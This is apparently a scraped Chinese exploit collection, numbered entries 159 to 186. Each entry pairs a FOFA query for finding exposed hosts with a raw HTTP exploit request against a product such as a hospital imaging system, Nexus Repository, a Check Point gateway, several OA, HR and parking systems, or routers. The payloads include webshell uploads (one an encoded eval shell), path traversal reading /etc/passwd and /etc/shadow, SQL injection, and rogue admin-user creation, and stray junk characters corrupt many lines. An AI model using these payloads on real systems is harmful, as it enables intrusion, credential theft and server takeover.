Content-Type: application/x-www-form-urlencoded
- ^# H* V- J1 t6 g1 W; d
object=displayregion&contenthistid=x\'&previewid=1

4 ?" S8 |0 {; O! E) N) d5 L/ J0 t
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
/ O2 D% N* |, X& T2 R" bPOST /webservices/WebJobUpload.asmx HTTP/1.1
4 f- w! U4 }- ?- HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
6 ?- @$ D+ P5 f  M) ^( |4 e! I
2 R: C1 a' x; `  u0 X, y% {; J<?xml version="1.0" encoding="utf-8"?>
9 _: ~3 W: z$ C2 o<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
$ h2 P4 {( w2 N<vcode>1</vcode>
  G7 X) K' [) S0 Y  ^( f<subFolder></subFolder>
3 K) n4 L0 X2 h9 o7 @$ q<fileName>abcrce.asmx</fileName>
* W4 {5 k( u9 R<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
- W$ G' Z+ `6 m  a! D: N) q</soap:Envelope>
& A0 M/ X+ k, A6 z

$ X/ b4 f" ?' B) X/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
9 W9 o2 Q; E3 \8 w0 T& m& v9 p
" ^' f9 \5 ~2 ]- g
) M4 g5 F) Z) p0 v. E- c* r' m160. Sonatype Nexus Repository 3目录遍历与文件读取
* H; P# }# N1 Y! r/ p" X0 |CVE-2024-4956
: y! R4 e& @' V. v. r% k& H5 nFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
% |9 L' z$ x2 O! L4 x: K: QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
" f  J. j5 j/ w9 ~Accept: */*
Accept-Language: en
# a, G9 V+ G3 F1 x8 {Accept-Encoding: gzip
4 q! J3 ]4 X) i7 G2 z. C5 V" r- t
& s; U/ s/ b$ R7 f" L
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
, ~/ f* p" I- [; T3 T1 W. {FOFA：body="/KT_Css/qd_defaul.css"
3 W* I, Z3 v; v第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
1 N2 b9 H/ I- P& k6 |3 ?5 T7 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
6 |4 @( b, c4 Z2 SAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
* }/ L) [$ Z' L<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
8 i) J" {" [+ Z9 P3 V<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
! b9 J+ ~# S, |* n. x# I! ~<tag>3</tag>
</UploadResume>
</soap:Body>
' T7 f+ Q6 o  k# E" l; ?</soap:Envelope>

8 c& m/ r: ?. t3 b
http://x.x.x.x/dizxdell.aspx
6 Y- T: K" P& O
  L8 W4 d) e/ H, b, U162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
7 c* A. ]' ?" Y0 Y5 t0 D+ ?' SFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
6 J5 Q: w1 N5 C0 B2 KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
- \, z) o* }2 f% F5 N# JAccept-Encoding: gzip

, p' u" Z- p& O# {" |: F- q------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
* V  c8 o0 l3 `- r8 u& X. J3 |Content-Type: application/octet-stream
! [2 z' p* C. o; F
<% response.write("ujidwqfuuqjalgkvrpqy") %>
+ ]5 F2 Y: T1 e& {  S8 y* P2 N+ ^------WebKitFormBoundaryeegvclmyurlotuey
- o8 x/ C: f+ d; |7 V/ T6 j  AContent-Disposition: form-data; name="action"
3 p; d, N' _. a" t* i
upload
' p4 ~) X: g/ f' x------WebKitFormBoundaryeegvclmyurlotuey
" u- |; h& c9 F& _  a( y8 x& pContent-Disposition: form-data; name="responderId"

$ ~% @4 I% K# oResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
4 s& c. }, G, M4 v4 {6 f
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
) q9 X: C, U1 ]( p. V
/ M7 K( i9 j) T( l+ k  Z( u6 E! c6 S
/ d8 F! |. `0 Q4 Ohttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
) h% _$ ]$ @5 `  M% m/ {$ l3 y
9 S( K5 e9 @! ^/ K. ]1 m163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" g* u" n) z( ]- g' z% D5 sFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
1 V, k- x! H, @) E, @, zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
3 h' T; Q! j0 K0 F3 v. i( i4 VConnection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
% ~9 Y/ V1 E! Q1 HAccept-Language: zh-CN,zh;q=0.9
; j! g, \! D7 O9 n7 ?* \" x+ tContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
' B) D9 S1 g/ b: Y: v7 y! I7 L% D) m
/ X) a% T: M3 U% A) _! `: h------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

* B3 Z1 h1 s; H# P  V1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

2 H1 a, F, J6 Hrvjhvbhwwuooyiioxega
0 e9 M- L, p$ w: H------iiqvnofupvhdyrcoqyuujyetjvqgocod--
9 F. T' ]( h5 S9 q0 z) {7 A4 F
3 u2 C7 o9 ^, N" d
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
+ {3 `8 A& q8 R" ]FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
8 R2 a  a, g: X1 s9 `7 @Host: x.x.x.x
( T" g8 _' @9 t9 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
; x& ^& L" H' N4 I0 tContent-Length: 288
. `$ X1 P1 @* Z- SAccept: application/json, text/javascript, */*; q=0.01
* A9 v, k; L5 g; t! n0 v! `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
0 c5 f- F- D5 y1 i# e, W6 }/ j% SContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
6 ?; |: k5 G' J% X5 A# dX-Requested-With: XMLHttpRequest
  O6 W- N1 k5 Z6 h5 TAccept-Encoding: gzip
1 `" `0 X" F. U& H
: ~# u, i% k& X! B/ i, \4 j" z$ n------dqdaieopnozbkapjacdbdthlvtlyl
9 R' I8 t; B# }1 {: H# tContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
4 {; ~: W5 s5 ?Content-Type: image/jpeg
6 D' ]5 O! N! H3 O! L
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
2 W$ |. U5 |+ D9 u$ q& ]7 b# M------dqdaieopnozbkapjacdbdthlvtlyl--
/ u" g/ s$ l6 \( A' O

, |# t! Y6 h" J- D) ?8 M: u$ Ghttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

. ~3 j7 B4 g0 m1 c: ~6 u165. OrangeHRM 3.3.3 SQL 注入
; I* K! x% F9 d# F0 }CVE-2024-36428
FOFA: app="OrangeHRM-产品"
' i/ e! p& f) }& s9 E$ r' _URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

$ ?  j+ q/ F% {# I0 _+ I
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
3 q7 U! r- y8 D4 Y5 m0 }Host:
Pragma: no-cache
Cache-Control: no-cache
/ }( ?" u) t; g0 N- v5 y) D1 vUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
5 J3 Y0 T% `; P) R' \' |$ |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 v8 w: p$ i  i- {7 B2 IAccept-Encoding: gzip, deflate
  O. S' `! W$ l% c" GAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
& u* X( j) z8 v: _8 |Content-Type: application/x-www-form-urlencoded
8 c; w1 K! D  L. ]  j( DContent-Length: 89
: M/ O9 _% T3 c# P
8 x: @& S& G! E1 f( q5 u3 aMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

1 A  q+ N: E5 ], n
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
* _( U; @; v6 B7 K) d) u- i6 M' ^GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
1 l1 f- }# Y9 t+ V  VHost:
7 P" Z: p' ^6 O0 f. X( ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 R9 X# A4 w( W' CContent-Type: application/x-www-form-urlencoded
) k3 w" r8 C$ _* z* n4 n, }Accept-Encoding: gzip, deflate
Accept: */*
* n' g* o9 `  r- @7 CConnection: keep-alive
1 t  n) w4 \, p% Y! X7 @& Z
% r8 w# M4 c% V2 U1 V' d0 _
- j9 B) n: c3 f) O168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
$ x$ C; }# ^5 P$ ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
3 A: u! E7 o3 `( X: HContent-Type: application/x-www-form-urlencoded
Connection: close


" l! M' r7 w* P4 u7 Q# [- Q
, A' H7 W. ?5 a/ c* j169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
/ {3 f& @$ F0 G' p% ?& q- {GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
' W5 L0 a9 q2 oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
+ |+ ^( Q$ F% v, {. i. IAccept-Encoding: gzip, deflate
Connection: close
( y8 b" ~. B2 z9 V" L5 d) q. e

4 D& W: A1 ]- v7 ]1 |: ~
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
+ V, G- w: W; _- ]POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
. }  X# L8 F  I% `
8 _4 O2 Q. a, {( y% F/ p7 Q- V
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
/ }! ?' E0 D* V7 D2 ]" i) y! eGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
: h$ s+ j& e; l& t/ nHost: your-ip
+ F- a& l0 T: U4 w8 {6 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
) x$ l/ U2 S: P" b3 P" `Accept: */*
8 i3 i' Q8 Y8 g, G) V1 J. uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close


: X6 m5 P: u/ H/ v* d- N
: R& v8 c8 T8 m* S( f6 L172. DT-高清车牌识别摄像机任意文件读取
& k) r1 M+ i/ Z5 D# }6 YFOFA：app="DT-高清车牌识别摄像机"
# r) R4 u! }0 c/ {$ Z5 _GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
: R4 X/ T" E( Q# d) m5 X3 e, d% A8 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
( Z1 \7 e: m* A0 r# P5 U  j8 P& m) YAccept: */*
  I9 n. j* w# WConnection: keep-alive
1 U! y" t  B+ |8 B# ^( M! }
# M( E  p, y- @

8 \5 o  H1 N0 p" B* |173. Check Point 安全网关任意文件读取
CVE-2024-24919
4 }0 e& h9 U/ M9 Q8 ^7 HFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
5 A6 s( m/ x8 D  B( e/ JContent-Type: application/x-www-form-urlencoded
5 C- Y* B" L2 Q3 A' Y, B
aCSHELL/../../../../../../../etc/shadow

* j6 X; f, ]8 I! w* I+ i; a
5 Z+ v. N; s' T& Z4 u; D
, g& y" F) _0 Z174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
% ]" a# I- N6 ^/ _9 N, q' ~5 HGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
* [+ y4 W" l: [# ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ {5 Y) `9 k8 N7 l8 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% |/ b  i! D6 X! S( {& m& s, HAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
1 H2 F+ O! i4 fConnection: close
& S" l' i5 K% |8 f7 s4 ]' C2 T0 ?* i& j
2 z, E8 V/ t  e1 W- h

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
9 }" u: {" D6 d! Q: Y# LGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
8 ], Q3 A! h! Q# b; @Host:
. b' p( @6 t6 t% O7 s, H7 l  hUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) C. a  G* }/ I( |5 P. i& B1 m- M- ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 q0 i: G6 _' @Accept-Encoding: gzip, deflate
Connection: close
( s/ f) |. h, n. z' X# d5 I' DUpgrade-Insecure-Requests: 1
9 D/ M2 ^1 p/ {  k# ]; j- x

' k' f( r4 N) L# G! }9 b176. 电信网关配置管理系统 rewrite.php 文件上传
+ p) [. r2 j! W" pFOFA：body="img/login_bg3.png" && body="系统登录"
2 z  |$ t# w) G1 c/ `POST /manager/teletext/material/rewrite.php HTTP/1.1
( |) q; w8 h4 g* LHost: your-ip
* U$ C$ Z+ F. U7 o) e% X5 W9 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
1 U9 M1 G8 J( L* \' I3 }Content-Type: image/png

3 Y) T2 M0 |* b0 u0 {<?php system("cat /etc/passwd");unlink(__FILE__);?>
* I: G5 H- h0 ]5 v: K------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--

# i4 z7 m: R  P3 M, m' a3 z

177. H3C路由器敏感信息泄露
, [$ G* Q/ l$ z! d9 a! e2 h/ g/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
( w( ^6 b4 I2 u: ^- \  U5 Z  H/userLogin.asp/../actionpolicy_status/../M60.cfg
( K- r5 r- J' F8 ?; a$ K) P+ y2 `/userLogin.asp/../actionpolicy_status/../GR8300.cfg
( }3 ]# [4 C2 T4 q) S! U/userLogin.asp/../actionpolicy_status/../GR5200.cfg
# I( o. u# ]) E, X. ]9 Z7 q& }/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
. S3 W$ z. S  F1 z; h. `/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
) a2 q" {5 T+ X0 R& X5 m+ E/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
: \, F. |& O; `/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
1 f. l8 n' [, J; z: y/ K8 p- n. c/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
: D; A+ c& d4 v7 b- Q/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
4 ~& e3 |2 o7 A6 i: {, d8 e: g, R* ^/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
6 A' t! M6 \. c" A( N; W/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
( u  }  e- q( w$ t3 p! |% j: s/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

: i9 ~( Z4 s! H0 J9 k' w
4 H, _) t8 y+ o6 ?+ V) G178. H3C校园网自助服务系统-flexfileupload-任意文件上传
7 E: F9 A; z* Z- a2 V2 f. g7 LFOFA：header="/selfservice"
' C3 j0 O- X! a9 P; z  `- FPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
# d0 n% b) x  L$ w  ]: TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
) V  I+ M2 X) WAccept-Encoding: gzip, deflate
  Z+ J% C' C; @' U; ?4 BConnection: close
5 t/ `6 f( C3 s5 P! x) i6 l7 r$ RContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
5 @- y- V/ q# X/ _: |8 ?Content-Disposition: form-data; name="12234.txt"; filename="12234"
- L0 Q; g4 m3 p$ {" LContent-Type: application/octet-stream
Content-Length: 255

% O- f6 E3 c( M6 ^- r! S, z12234
0 n, s% |  v: U9 Q; o( ]: f- }-----------------aqutkea7vvanpqy3rh2l--
5 Y& O9 S2 O7 j8 R/ G. y: L

# D  @/ L/ y1 }0 g; @# f5 }GET /imc/primepush/%2e%2e/flex/12234.txt
! Z! y) G2 c: ^) ^

179. 建文工程管理系统存在任意文件读取
) e" H/ Y; o! D$ dPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
9 S, T! Z5 ?( OContent-Type: application/x-www-form-urlencoded
( d/ B4 W; i7 N" F3 {& t4 `; v5 oUser-Agent: Mozilla/5.0

( r% i$ r/ C3 W1 L: dpath=../log4net.config&Name=
4 Q( w( P* e0 R; s7 r7 r" M
0 Y8 r7 V0 k$ x0 M  y2 G0 Q6 V
2 H  I) S( M; n7 s180. 帮管客 CRM jiliyu SQL注入
' }% ?7 w- @3 RFOFA：app="帮管客-CRM"
; d5 r; L. @4 S: W: }2 @GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  j6 L" R6 q4 A( }1 V3 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% c: n/ i/ B- y/ f$ @' G' L  fAccept-Encoding: gzip, deflate
6 B; U, n2 o% k# J7 \; ~6 o5 jAccept-Language: zh-CN,zh;q=0.9
Connection: close
! }- ]2 _8 C& q; `$ [
0 a8 ^4 d6 y" C
7 T$ b; Q- B4 g181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 K7 u' j. G$ t2 Q+ ?( rFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
6 S1 c9 G- y9 Y! j  T4 x$ jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) j2 d, v  Y  U% sAccept-Encoding: gzip, deflate, br
  P! X9 M% R6 X% V3 ^& @  kAccept-Language: zh-CN,zh;q=0.9
Connection: close
- B& h  x% l5 w: A. yContent-Type: application/x-www-form-urlencoded
; m; Z+ D) R: {& |- K2 B( o* h# z; E
* y- v- {  b. V# G$ C$ N: m7 c8 R
4 H# Y( a+ s8 [2 V& j! p( c" waction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
7 o+ C1 U9 T$ ~3 ]# O  {FOFA："PDCA/js/_publicCom.js"
, E; r3 n" O  h/ g, O) _POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( G5 a3 Y7 m" p% zAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 S; `  H' [+ q, b9 kContent-Type: application/x-www-form-urlencoded
( s3 x5 Z( p& H& G* ^

username=test1234&pwd=test1234&savedays=1
+ P5 C! l5 b# g3 Q8 A

8 w* u: z6 ~3 `  U183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
" Q% @, _* c+ A4 k, `) aFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
: q/ V7 m/ }# C; D: s' B- G0 q0 tGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
+ M0 e0 X; I& d/ M6 l* w5 hUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

: P+ h$ C+ z& U( ^6 Y0 b
* Y( y1 i5 ?4 U184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
) y1 p. B" K! \$ z) dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; B4 T& |- u, d9 S2 k( F; YAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Y. D% j" W$ z$ U5 `( j: ?X-Requested-With: XMLHttpRequest

2 E! }" f$ R% i
: H: C1 n7 I6 iinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
+ Z! o# }# Y. D/ F  A
5 i8 l, i3 ]: M( t
2 D) T: m. V/ r4 ^9 ~( S185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
& D) H( K# {* i$ lFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


186. F-logic DataCube3 SQL注入
! L' u7 f8 S$ s  g% OCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 Q0 i( F# V4 eAccept-Encoding: gzip, deflate
& r6 j/ _, U0 r! r3 U- IConnection: close
Content-Type: application/x-www-form-urlencoded

